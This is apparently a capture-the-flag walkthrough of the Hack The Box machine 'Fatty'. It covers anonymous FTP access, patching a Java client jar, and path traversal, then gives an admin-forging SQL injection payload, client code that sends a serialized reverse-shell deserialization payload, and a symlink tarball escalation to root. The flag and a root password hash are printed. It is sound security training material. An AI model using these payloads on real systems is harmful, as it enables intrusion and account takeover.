With FileZilla we can retrieve the files available on the anonymously
accessible FTP server.
1 2 3 4
| -rw-r--r-- 1 ftp ftp 15426727 Oct 30 2019 fatty-client.jar | -rw-r--r-- 1 ftp ftp 526 Oct 30 2019 note.txt | -rw-r--r-- 1 ftp ftp 426 Oct 30 2019 note2.txt |_-rw-r--r-- 1 ftp ftp 194 Oct 30 2019 note3.txt
note.txt
1 2 3 4 5 6 7 8 9 10 11
Dear members,
because of some security issues we moved the port of our fatty java server from 8000 to the hidden and undocumented port 1337. Furthermore, we created two new instances of the server on port 1338 and 1339. They offer exactly the same server and it would be nice if you use different servers from day to day to balance the server load.
We were too lazy to fix the default port in the '.jar' file, but since you are all senior java developers you should be capable of doing it yourself ;)
Best regards, qtc
So we will need to decompile the jar, change the port and recompile it.
note2.txt
1 2 3 4 5 6 7 8 9 10 11
Dear members,
we are currently experimenting with new java layouts. The new client uses a static layout. If your are using a tiling window manager or only have a limited screen size, try to resize the client window until you see the login from.
Furthermore, for compatibility reasons we still rely on Java 8. Since our company workstations ship Java 11 per default, you may need to install it manually.
Best regards, qtc
We may need to use Java 8, I have one if needed:
1 2 3 4 5
$ archlinux-java status Available Java environments: java-10-openjdk java-14-openjdk (default) java-8-openjdk
note3.txt
1 2 3 4 5 6 7 8 9 10
Dear members,
We had to remove all other user accounts because of some seucrity issues. Until we have fixed these issues, you can use my account:
<!-- Here we have an constructor based injection, where Spring injects required arguments inside the constructor function. --> <beanid="connectionContext"class = "htb.fatty.shared.connection.ConnectionContext"> <constructor-argindex="0"value = "server.fatty.htb"/> <constructor-argindex="1"value = "8000"/> </bean>
<!-- The next to beans use setter injection. For this kind of injection one needs to define an default constructor for the object (no arguments) and one needs to define setter methods for the properties. --> <beanid="trustedFatty"class = "htb.fatty.shared.connection.TrustedFatty"> <propertyname = "keystorePath"value = "fatty.p12"/> </bean>
<!-- For out final bean we use now again constructor injection. Notice that we use now ref instead of val --> <beanid="connection"class = "htb.fatty.client.connection.Connection"> <constructor-argindex = "0"ref = "connectionContext"/> <constructor-argindex = "1"ref = "trustedFatty"/> <constructor-argindex = "2"ref = "secretHolder"/> </bean>
</beans>
Let's change the port value form 8080 to 1337 in beans.xml and then
update the jar archive. We also remove the files used for signature so Java
doesn't complain beans.xml doesn't match the signature anymore.
1 2 3 4
$ jar -uf fatty-client-patched.jar beans.xml $ zip -d fatty-client-patched.jar META-INF/1.RSA META-INF/1.SF deleting: META-INF/1.SF deleting: META-INF/1.RSA
Then we can run our patched version java -jar fatty-client-patched.jar.
But before, we need to add the local domain in our hosts file and to set Java 8.
FileBrowser: seems like a ls on a hardcoded folder
Configs: β
Notes: β
Mail: β
ConnectionTest:
Ping: β
Help
Contact: β
About: β
There is also an Open feature that read a file (seems to exclude comments),
it seems it's not possible to do directory traversal but we can cd in the
FileBrowser files and read them.
security.txt
1 2 3
Since our fatty clients processes sensitive data, we were forced to perform a penetration test on it. I had no time to look at the results yet in more detail, but it looks like there are a few criticals. We should starting to fix these issues ASAP.
dave.txt
1 2 3 4 5 6 7 8 9
Hey qtc,
until the issues from the current pentest are fixed we have removed all administrative users from the database. Your user account is the only one that is left. Since you have only user permissions, this should prevent exploitation of the other issues. Furthermore, we implemented a timeout on the login procedure. Time heavy SQL injection attacks are therefore no longer possible.
With JD-GUI or other decompiler we can decompile the code to read it.
With jar -uf we can easily update a text file like beans.xml but we can't
update code in the JAR because the code is compiled (.class).
Trying to compile our .java won't probably do any good as there are not
the original code but ones obtained through decompilation.
So the best idea is to update the original JAR via a Java bytecode editor.
@Override publicvoidactionPerformed(ActionEvent e) { Stringresponse=""; StringfileName= ClientGuiTest.this.fileTextField.getText(); try { response = ClientGuiTest.this.invoker.open("..", fileName); } catch (MessageBuildException | MessageParseException e1) { JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0); } catch (IOException e2) { JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0); } textPane.setText(response); } });
But still /opt/fatty/files prefix. Putting / in foldername is filtered server-side
too.
Too see what's in that folder let's modify the function that list files in one
folder, from:
1 2 3 4 5 6 7 8 9 10 11 12 13
configs.addActionListener(newActionListener() { publicvoidactionPerformed(ActionEvent e) { Stringresponse=""; ClientGuiTest.this.currentFolder = "configs"; try { response = ClientGuiTest.this.invoker.showFiles("configs"); } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) { JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0); } catch (IOException e2) { JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0); }
to:
1 2 3 4 5 6 7 8 9 10 11 12 13
configs.addActionListener(newActionListener() { publicvoidactionPerformed(ActionEvent e) { Stringresponse=""; ClientGuiTest.this.currentFolder = ".."; try { response = ClientGuiTest.this.invoker.showFiles(".."); } catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) { JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0); } catch (IOException e2) { JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0); }
So by going to FileBrowser -> Configs we can list what is in /opt/fatty/:
1 2 3 4 5
logs tar start.sh fatty-server.jar files
We now have the name of the server JAR: fatty-server.jar.
/opt/fatty/start.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
#!/bin/sh
# Unfortunately alpine docker containers seems to have problems with services. # I tried both, ssh and cron to start via openrc, but non of them worked. Therefore, # both services are now started as part of the docker startup script.
# Start cron service crond -b
# Start ssh server /usr/sbin/sshd
# Start Java application server su - qtc /bin/sh -c "java -jar /opt/fatty/fatty-server.jar"
The server seems to be run as qtc so we won't elevate our privilege directly.
By doing the same with logs and tar we can see what's inside:
/opt/fatty/logs/
1 2
error-log.txt info-log.txt
/opt/fatty/tar/
1
logs.tar
What we could access is /opt/fatty/fatty-server.jar but we can only read text
files, not binaries:
1 2
grep -rn binar htb htb/fatty/client/methods/Invoker.java:140: response = "Unable to convert byte[] to String. Did you read in a binary file?";
So we will have to modify the function to save the file locally on our
filesystem.
We'll hack into htb/fatty/client/methods/Invoker.java, the public String open
method.
We'll modify that part, from
1 2 3 4 5
/* */try { /* 138 */ response = this.response.getContentAsString(); /* 139 */ } catch (Exception e) { /* 140 */ response = "Unable to convert byte[] to String. Did you read in a binary file?"; /* */ }
We can see the Thread.sleep(3000L); that make time-based attacks difficult
but that doesn't mean we can't make a one-shot SQLi as we still control the
username injected in the query.
Before we forge a payload, let's take a look at the password format saved in DB.
We can see in htb/fatty/shared/resources/User.java is salted and hashed.
We can also note that only password is checked and only username is used for
user retrieval, that means we can inject whatever we want in the ID field or
email address.
But what matters to us is to change our role from user to admin.
So we end with the following payload
1
noraj' union select 1337,'qtc','qtc@fatty.htb','5a67ea356b858a2318017f948ba505fd867ae151d6623ec32be86e9c688bf046','admin
Once the payload is injected in the query this will give:
1
SELECT id,username,email,password,role FROM users WHERE username='noraj'unionselect1337,'qtc','qtc@fatty.htb','5a67ea356b858a2318017f948ba505fd867ae151d6623ec32be86e9c688bf046','admin'
In htb/fatty/client/gui/ClientGuiTest.java we can see the password is set by
the setPassword function we saw earlier.
Putting our payload as username and clarabibi as password should be ok.
My injection gave me login failed, so I tried something else:
1 2
-noraj' union select 1337,'qtc','qtc@fatty.htb','5a67ea356b858a2318017f948ba505fd867ae151d6623ec32be86e9c688bf046','admin +noraj' union select id,username,email,password,'admin' FROM users WHERE username='qtc
But I couldn't modify the User.java file this way because the dependency
import javax.xml.bind.DatatypeConverter; was removed from Java 11+ and
we are using Java 14 for recaf so if this file is touched it can't be recompiled
by recaf unless you remove all references to DatatypeConverter.
So that's what I did, I removed the imported and change the whole setPassword
function to the following and did the same in User class:
publicstatic String changePW(ArrayList<String> args, User user) { logger.logInfo("[+] Method 'changePW' was called."); intmethodID=7; if (!user.getRole().isAllowed(methodID)) { logger.logError("[+] Access denied. Method with id '" + methodID + "' was called by user '" + user.getUsername() + "' with role '" + user.getRoleName() + "'."); return"Error: Method 'changePW' is not allowed for this user account"; } Stringresponse="";
public String changePW(String username, String newPassword)throws MessageParseException, MessageBuildException, IOException { StringmethodName= (newObject() { }).getClass().getEnclosingMethod().getName(); logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'."); if (AccessCheck.checkAccess(methodName, this.user)) { return"Error: Method '" + methodName + "' is not allowed for this user account"; }
Also changePW will call the User class overloaded constructor with 2 args
public User(String username, String password) that will call the full User
constructor User(int uid, String username, String password, String email, Role role).
But in the full constructor the password is hashed so we need to change it from:
java.io.NotSerializableException: htb.fatty.shared.resources.Role at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1184) at java.io.ObjectOutputStream.defaultWriteFields(ObjectOutputStream.java:1548) at java.io.ObjectOutputStream.writeSerialData(ObjectOutputStream.java:1509) at java.io.ObjectOutputStream.writeOrdinaryObject(ObjectOutputStream.java:1432) at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1178) at java.io.ObjectOutputStream.writeObject(ObjectOutputStream.java:348) at htb.fatty.client.methods.Invoker.changePW(Invoker.java:133) at htb.fatty.client.gui.ClientGuiTest$16.actionPerformed(ClientGuiTest.java:442) at javax.swing.AbstractButton.fireActionPerformed(AbstractButton.java:2022) at javax.swing.AbstractButton$Handler.actionPerformed(AbstractButton.java:2348) at javax.swing.DefaultButtonModel.fireActionPerformed(DefaultButtonModel.java:402) at javax.swing.DefaultButtonModel.setPressed(DefaultButtonModel.java:259) at javax.swing.AbstractButton.doClick(AbstractButton.java:376) at javax.swing.plaf.basic.BasicMenuItemUI.doClick(BasicMenuItemUI.java:842) at javax.swing.plaf.basic.BasicMenuItemUI$Handler.mouseReleased(BasicMenuItemUI.java:886) at java.awt.Component.processMouseEvent(Component.java:6539) at javax.swing.JComponent.processMouseEvent(JComponent.java:3324) at java.awt.Component.processEvent(Component.java:6304) at java.awt.Container.processEvent(Container.java:2239) at java.awt.Component.dispatchEventImpl(Component.java:4889) at java.awt.Container.dispatchEventImpl(Container.java:2297) at java.awt.Component.dispatchEvent(Component.java:4711) at java.awt.LightweightDispatcher.retargetMouseEvent(Container.java:4904) at java.awt.LightweightDispatcher.processMouseEvent(Container.java:4535) at java.awt.LightweightDispatcher.dispatchEvent(Container.java:4476) at java.awt.Container.dispatchEventImpl(Container.java:2283) at java.awt.Window.dispatchEventImpl(Window.java:2746) at java.awt.Component.dispatchEvent(Component.java:4711) at java.awt.EventQueue.dispatchEventImpl(EventQueue.java:760) at java.awt.EventQueue.access$500(EventQueue.java:97) at java.awt.EventQueue$3.run(EventQueue.java:709) at java.awt.EventQueue$3.run(EventQueue.java:703) at java.security.AccessController.doPrivileged(Native Method) at java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:74) at java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:84) at java.awt.EventQueue$4.run(EventQueue.java:733) at java.awt.EventQueue$4.run(EventQueue.java:731) at java.security.AccessController.doPrivileged(Native Method) at java.security.ProtectionDomain$JavaSecurityAccessImpl.doIntersectionPrivilege(ProtectionDomain.java:74) at java.awt.EventQueue.dispatchEvent(EventQueue.java:730) at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:205) at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:116) at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:105) at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:101) at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:93) at java.awt.EventDispatchThread.run(EventDispatchThread.java:82)
The error is hit in this chunk of code:
1 2 3 4 5 6 7 8
try { ObjectOutputStreamoOut=newObjectOutputStream(bOut); oOut.writeObject(user); } catch (IOException e) { e.printStackTrace(); return"Failure while serializing user object"; }
mark the Role field as transient is it's unneeded in the serialized form
So I added implements Serializable on the Role class, now I don't have error
on client side but instead Error: Failure while recovering the User object.
because it's a shared library so the client can now serialize it but the
server can't deserialize it as the shared library on server side remains untouched.
So I guess we will have to not serialize it. So I marked the field as
1 2 3 4 5 6
implementsSerializable { int uid; String username; String password; String email; transient Role role;
but I ended up with the same deserialization error.
Because the server expect a user object, I thought that anything else would be
refused.
1
Useruser1= (User)oIn.readObject();
But in fact we should send our raw serialized payload without trying to package it
as the password of the user object.
public String changePW(String username, String newPassword)throws MessageParseException, MessageBuildException, IOException { StringmethodName=newObject(){}.getClass().getEnclosingMethod().getName(); logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'."); if (AccessCheck.checkAccess(methodName, this.user)) { return"Error: Method '" + methodName + "' is not allowed for this user account"; } //String data = new String(Files.readAllBytes(Paths.get("revshell.ser"))); //data.getBytes() Filefd=newFile("revshell.ser"); byte[] data = Files.readAllBytes(fd.toPath()); byte[] serializedUser64 = Base64.getEncoder().encode(data); System.console().writer().println(newString(serializedUser64)); this.action = newActionMessage(this.sessionID, "changePW"); this.action.addArgument(newString(serializedUser64)); this.sendAndRecv(); if (this.response.hasError()) { return"Error: Your action caused an error on the application server!"; } returnthis.response.getContentAsString(); }
In the first time I just generate my payload with a pingback to make sure it works.
We can guess that if a tarball is copied to the docker host automatically,
then it may be automatically extracted too.
So I'll try to conduct this 2 steps attack that abuse of symbolic link in
tarball when extracted.
Create a tarball containing a symlink, the symlink as the same name as the
tarball so when it's extracted it overrides it. The symling points to a file
on the target system that we want to override to get root access.
Create a file name like the tarball that will override the target file
when copied thanks to the previous symlink abuse.
One of the less dirty way to EoP to root by overriding a file would be to
copy our SSH public key into root SSH authorized keys.
$ ssh root@10.10.10.174 The authenticity of host '10.10.10.174 (10.10.10.174)' can't be established. ED25519 key fingerprint is SHA256:vrMYTGEAjnC1vfp18WHrsxuDGfueUV0xVfzQErxMKv0. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.174' (ED25519) to the list of known hosts. Linux fatty 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Jul 30 15:41:03 2020 from 10.10.15.115 root@fatty:~# pwd /root root@fatty:~# cat root.txt ee982fa19b413415391ed4a17b2bd9c7 root@fatty:~# cat /etc/shadow | grep root root:$6$5wAdljn7$wUeldtzWZDEtkO9OFyNfXrrxf5jnRw8uJHij.TIsiNM0ne1QzmjclfGdgdAzRWk7AQyEmQM7RfPhJbCEms5sN/:18157:0:99999:7:::